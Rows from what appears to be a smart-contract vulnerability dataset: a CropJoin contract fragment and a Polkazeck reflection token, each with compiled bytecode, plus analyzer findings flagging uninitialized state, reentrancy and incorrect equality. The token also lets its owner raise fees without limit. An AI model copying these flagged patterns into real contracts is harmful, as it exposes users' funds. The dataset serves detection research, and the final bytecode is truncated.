function join(address urn, address usr, uint256 val) public auth virtual {
require(live == 1, "CropJoin/not-live");
harvest(urn, usr);
if (val > 0) {
uint256 wad = wdiv(mul(val, to18ConversionFactor), nps());
// Overflow check for int256(wad) cast below
// Also enforces a non-zero wad
require(int256(wad) > 0);
require(gem.transferFrom(msg.sender, address(this), val));
vat.slip(ilk, urn, int256(wad));
total = add(total, wad);
stake[urn] = add(stake[urn], wad);
}
crops[urn] = rmulup(stake[urn], share);
emit Join(urn, usr, val);
}
function exit(address urn, address usr, uint256 val) public auth virtual {
harvest(urn, usr);
if (val > 0) {
uint256 wad = wdivup(mul(val, to18ConversionFactor), nps());
// Overflow check for int256(wad) cast below
// Also enforces a non-zero wad
require(int256(wad) > 0);
require(gem.transfer(usr, val));
vat.slip(ilk, urn, -int256(wad));
total = sub(total, wad);
stake[urn] = sub(stake[urn], wad);
}
crops[urn] = rmulup(stake[urn], share);
emit Exit(urn, usr, val);
}
function flee(address urn, address usr, uint256 val) public auth virtual {
uint256 wad = wdivup(mul(val, to18ConversionFactor), nps());
// Overflow check for int256(wad) cast below
// Also enforces a non-zero wad
require(int256(wad) > 0);
require(gem.transfer(usr, val));
vat.slip(ilk, urn, -int256(wad));
total = sub(total, wad);
stake[urn] = sub(stake[urn], wad);
crops[urn] = rmulup(stake[urn], share);
emit Flee(urn, usr, val);
}
function tack(address src, address dst, uint256 wad) public {
uint256 ss = stake[src];
stake[src] = sub(ss, wad);
stake[dst] = add(stake[dst], wad);
uint256 cs = crops[src];
uint256 dcrops = mul(cs, wad) / ss;
// safe since dcrops <= crops[src]
crops[src] = cs - dcrops;
crops[dst] = add(crops[dst], dcrops);
(uint256 ink,) = vat.urns(ilk, src);
require(stake[src] >= add(vat.gem(ilk, src), ink));
(ink,) = vat.urns(ilk, dst);
require(stake[dst] <= add(vat.gem(ilk, dst), ink));
emit Tack(src, dst, wad);
}
function cage() public auth virtual {
live = 0;
}
} | 0x608060405234801561001057600080fd5b50600436106100665760003560e01c80635c60da1b146100ee57806365fae35e14610122578063957aa58c146101665780639c52a7f114610184578063bf353dbb146101c8578063d784d4261461022057610067565b5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100c757600080fd5b60405136600082376000803683855af43d806000843e81600081146100ea578184f35b8184fd5b6100f6610264565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101646004803603602081101561013857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610288565b005b61016e6103c6565b6040518082815260200191505060405180910390f35b6101c66004803603602081101561019a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103cc565b005b61020a600480360360208110156101de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061050b565b6040518082815260200191505060405180910390f35b6102626004803603602081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610523565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461033c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43726f704a6f696e2f6e6f742d6175746865640000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b60025481565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610480576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43726f704a6f696e2f6e6f742d6175746865640000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60016020528060005260406000206000915090505481565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146105d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43726f704a6f696e2f6e6f742d6175746865640000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fddebe6de740fe0dd01cc33ffa314d11c6ac6acbbe50b80513c4c360ae7aa4f0460405160405180910390a25056fea2646970667358221220ecf202500d9030d1a3faed636a19607869918e3470b4e7a9ce3609fd2f7df21d64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 678 |
0xedb7b7842f7986a7f211d791e8f306c4ce82ba32 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Polkazeck is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 162 * 10**6 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _taxFee = 30;
uint256 public _burnFee = 25;
string private _name = "Polkazeck";
string private _symbol = "ZCK";
uint8 private _decimals = 18;
address public beneficiary = address(0xd3F9c90041Aa7B3306f5bE5a2Ab6441620190722);
uint256 private tMarketing = _tTotal.mul(20).div(100);
uint256 private marketingClaimCount;
uint256 private tTeam = _tTotal.mul(10).div(100);
uint256 private teamClaimCount;
uint256 private claimInterval = 7884000;
uint8 private claimPercent = 25;
uint256 private marketingClaimNext;
uint256 private teamClaimNext;
uint256 private tReserve = _tTotal.mul(5).div(100);
uint256 private reserveClaimAt;
uint256 private tEcosystem = _tTotal.mul(175).div(1000);
uint256 private ecosystemClaimAt;
constructor () public {
uint256 time = block.timestamp;
marketingClaimNext = time.add(claimInterval);
teamClaimNext = time.add(63070000);
reserveClaimAt = time.add(31540000);
ecosystemClaimAt = time.add(31540000);
uint256 tLockedTotal = tMarketing.add(tTeam).add(tReserve).add(tEcosystem);
uint256 rLockedTotal = reflectionFromToken(tLockedTotal, false);
_rOwned[beneficiary] = _rTotal.sub(rLockedTotal);
_rOwned[address(this)] = rLockedTotal;
emit Transfer(address(0), beneficiary, _tTotal.sub(tLockedTotal));
emit Transfer(address(0), address(this), tLockedTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burn(sender, tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burn(sender, tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burn(sender, tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burn(sender, tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate, tBurn);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(_taxFee).div(1000);
uint256 tBurn = tAmount.mul(_burnFee).div(1000);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _burn(address sender, uint256 tBurn) private {
_tTotal = _tTotal.sub(tBurn);
emit Transfer(sender, address(0), tBurn);
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee.mul(10);
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee.mul(10);
}
function releaseMarketing() public {
require(block.timestamp >= marketingClaimNext, "Too early");
require(marketingClaimCount < 4, "Claim completed");
marketingClaimNext = marketingClaimNext.add(claimInterval);
marketingClaimCount = marketingClaimCount.add(1);
uint256 tAmount = tMarketing.mul(claimPercent).div(100);
uint256 rAmount = reflectionFromToken(tAmount, false);
_releaseLocked(address(this), beneficiary, rAmount, tAmount);
}
function releaseTeam() public {
require(block.timestamp >= teamClaimNext, "Too early");
require(teamClaimCount < 4, "Claim completed");
teamClaimNext = teamClaimNext.add(claimInterval);
teamClaimCount = teamClaimCount.add(1);
uint256 tAmount = tTeam.mul(claimPercent).div(100);
uint256 rAmount = reflectionFromToken(tAmount, false);
_releaseLocked(address(this), beneficiary, rAmount, tAmount);
}
function releaseReserve() public {
require(tReserve > 0, "Already claimed");
require(block.timestamp >= reserveClaimAt, "Too early");
_releaseLocked(address(this), beneficiary, reflectionFromToken(tReserve, false), tReserve);
tReserve = 0;
}
function releaseEcosystem() public {
require(tEcosystem > 0, "Already claimed");
require(block.timestamp >= ecosystemClaimAt, "Too early");
_releaseLocked(address(this), beneficiary, reflectionFromToken(tEcosystem, false), tEcosystem);
tEcosystem = 0;
}
function _releaseLocked(address sender, address recipient, uint256 rAmount, uint256 tAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
}
} | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063715018a611610104578063cba0e996116100a2578063dd62ed3e11610071578063dd62ed3e146104e9578063f2cc0c1814610517578063f2fde38b1461053d578063f84354f114610563576101da565b8063cba0e99614610496578063cea26958146104bc578063cf95833e146104d9578063d3933ada146104e1576101da565b8063a457c2d7116100de578063a457c2d71461042e578063a9059cbb1461045a578063ba1f83af14610486578063c0b0fda21461048e576101da565b8063715018a6146104165780638da5cb5b1461041e57806395d89b4114610426576101da565b80632d8381191161017c5780633b124fe71161014b5780633b124fe7146103bb5780634549b039146103c35780634dbc355a146103e857806370a08231146103f0576101da565b80632d83811914610330578063313ce5671461034d57806338af3eed1461036b578063395093511461038f576101da565b8063095ea7b3116101b8578063095ea7b31461029857806313114a9d146102d857806318160ddd146102f257806323b872dd146102fa576101da565b8063053ab182146101df578063061c82d0146101fe57806306fdde031461021b575b600080fd5b6101fc600480360360208110156101f557600080fd5b5035610589565b005b6101fc6004803603602081101561021457600080fd5b5035610663565b6102236106cc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025d578181015183820152602001610245565b50505050905090810190601f16801561028a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c4600480360360408110156102ae57600080fd5b506001600160a01b038135169060200135610762565b604080519115158252519081900360200190f35b6102e0610780565b60408051918252519081900360200190f35b6102e0610786565b6102c46004803603606081101561031057600080fd5b506001600160a01b0381358116916020810135909116906040013561078c565b6102e06004803603602081101561034657600080fd5b5035610813565b610355610875565b6040805160ff9092168252519081900360200190f35b61037361087e565b604080516001600160a01b039092168252519081900360200190f35b6102c4600480360360408110156103a557600080fd5b506001600160a01b038135169060200135610892565b6102e06108e0565b6102e0600480360360408110156103d957600080fd5b508035906020013515156108e6565b6101fc610978565b6102e06004803603602081101561040657600080fd5b50356001600160a01b0316610a80565b6101fc610ae2565b610373610b84565b610223610b93565b6102c46004803603604081101561044457600080fd5b506001600160a01b038135169060200135610bf4565b6102c46004803603604081101561047057600080fd5b506001600160a01b038135169060200135610c5c565b6101fc610c70565b6102e0610d32565b6102c4600480360360208110156104ac57600080fd5b50356001600160a01b0316610d38565b6101fc600480360360208110156104d257600080fd5b5035610d56565b6101fc610dbf565b6101fc610e8b565b6102e0600480360360408110156104ff57600080fd5b506001600160a01b0381358116916020013516610f4d565b6101fc6004803603602081101561052d57600080fd5b50356001600160a01b0316610f78565b6101fc6004803603602081101561055357600080fd5b50356001600160a01b03166110fe565b6101fc6004803603602081101561057957600080fd5b50356001600160a01b03166111f6565b60006105936114f1565b6001600160a01b03811660009081526004602052604090205490915060ff16156105ee5760405162461bcd60e51b815260040180806020018281038252602c8152602001806120b0602c913960400191505060405180910390fd5b60006105f9836114f5565b505050506001600160a01b038416600090815260016020526040902054919250610625919050826114af565b6001600160a01b03831660009081526001602052604090205560075461064b90826114af565b60075560085461065b9084611455565b600855505050565b61066b6114f1565b6000546001600160a01b039081169116146106bb576040805162461bcd60e51b8152602060048201819052602482015260008051602061201e833981519152604482015290519081900360640190fd5b6106c681600a6113b3565b60095550565b600b8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107585780601f1061072d57610100808354040283529160200191610758565b820191906000526020600020905b81548152906001019060200180831161073b57829003601f168201915b5050505050905090565b600061077661076f6114f1565b848461154c565b5060015b92915050565b60085490565b60065490565b6000610799848484611638565b610809846107a56114f1565b61080485604051806060016040528060288152602001611ff6602891396001600160a01b038a166000908152600360205260408120906107e36114f1565b6001600160a01b03168152602081019190915260400160002054919061185a565b61154c565b5060019392505050565b60006007548211156108565760405162461bcd60e51b815260040180806020018281038252602a815260200180611f63602a913960400191505060405180910390fd5b60006108606118f1565b905061086c8382611413565b9150505b919050565b600d5460ff1690565b600d5461010090046001600160a01b031681565b600061077661089f6114f1565b8461080485600360006108b06114f1565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611455565b60095481565b600060065483111561093f576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b8161095e57600061094f846114f5565b5093955061077a945050505050565b6000610969846114f5565b5092955061077a945050505050565b6015544210156109bb576040805162461bcd60e51b8152602060048201526009602482015268546f6f206561726c7960b81b604482015290519081900360640190fd5b600460115410610a04576040805162461bcd60e51b815260206004820152600f60248201526e10db185a5b4818dbdb5c1b195d1959608a1b604482015290519081900360640190fd5b601254601554610a1391611455565b601555601154610a24906001611455565b601155601354601054600091610a4a91606491610a44919060ff166113b3565b90611413565b90506000610a598260006108e6565b9050610a7c30600d60019054906101000a90046001600160a01b03168385611914565b5050565b6001600160a01b03811660009081526004602052604081205460ff1615610ac057506001600160a01b038116600090815260026020526040902054610870565b6001600160a01b03821660009081526001602052604090205461077a90610813565b610aea6114f1565b6000546001600160a01b03908116911614610b3a576040805162461bcd60e51b8152602060048201819052602482015260008051602061201e833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600c8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107585780601f1061072d57610100808354040283529160200191610758565b6000610776610c016114f1565b84610804856040518060600160405280602581526020016120dc6025913960036000610c2b6114f1565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061185a565b6000610776610c696114f1565b8484611638565b600060185411610cb9576040805162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b604482015290519081900360640190fd5b601954421015610cfc576040805162461bcd60e51b8152602060048201526009602482015268546f6f206561726c7960b81b604482015290519081900360640190fd5b610d2b30600d60019054906101000a90046001600160a01b0316610d2360185460006108e6565b601854611914565b6000601855565b600a5481565b6001600160a01b031660009081526004602052604090205460ff1690565b610d5e6114f1565b6000546001600160a01b03908116911614610dae576040805162461bcd60e51b8152602060048201819052602482015260008051602061201e833981519152604482015290519081900360640190fd5b610db981600a6113b3565b600a5550565b601454421015610e02576040805162461bcd60e51b8152602060048201526009602482015268546f6f206561726c7960b81b604482015290519081900360640190fd5b6004600f5410610e4b576040805162461bcd60e51b815260206004820152600f60248201526e10db185a5b4818dbdb5c1b195d1959608a1b604482015290519081900360640190fd5b601254601454610e5a91611455565b601455600f54610e6b906001611455565b600f55601354600e54600091610a4a91606491610a44919060ff166113b3565b600060165411610ed4576040805162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b604482015290519081900360640190fd5b601754421015610f17576040805162461bcd60e51b8152602060048201526009602482015268546f6f206561726c7960b81b604482015290519081900360640190fd5b610f4630600d60019054906101000a90046001600160a01b0316610f3e60165460006108e6565b601654611914565b6000601655565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610f806114f1565b6000546001600160a01b03908116911614610fd0576040805162461bcd60e51b8152602060048201819052602482015260008051602061201e833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff161561103e576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526001602052604090205415611098576001600160a01b03811660009081526001602052604090205461107e90610813565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b6111066114f1565b6000546001600160a01b03908116911614611156576040805162461bcd60e51b8152602060048201819052602482015260008051602061201e833981519152604482015290519081900360640190fd5b6001600160a01b03811661119b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611f8d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6111fe6114f1565b6000546001600160a01b0390811691161461124e576040805162461bcd60e51b8152602060048201819052602482015260008051602061201e833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff166112bb576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600554811015610a7c57816001600160a01b0316600582815481106112df57fe5b6000918252602090912001546001600160a01b031614156113ab5760058054600019810190811061130c57fe5b600091825260209091200154600580546001600160a01b03909216918390811061133257fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff19169055600580548061138457fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610a7c565b6001016112be565b6000826113c25750600061077a565b828202828482816113cf57fe5b041461140c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611fd56021913960400191505060405180910390fd5b9392505050565b600061140c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c3565b60008282018381101561140c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061140c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061185a565b3390565b600080600080600080600080600061150c8a611a28565b925092509250600061151c6118f1565b9050600080600061152f8e878688611a8e565b919e509c509a509598509396509194505050505091939550919395565b6001600160a01b0383166115915760405162461bcd60e51b815260040180806020018281038252602481526020018061208c6024913960400191505060405180910390fd5b6001600160a01b0382166115d65760405162461bcd60e51b8152600401808060200182810382526022815260200180611fb36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661167d5760405162461bcd60e51b81526004018080602001828103825260258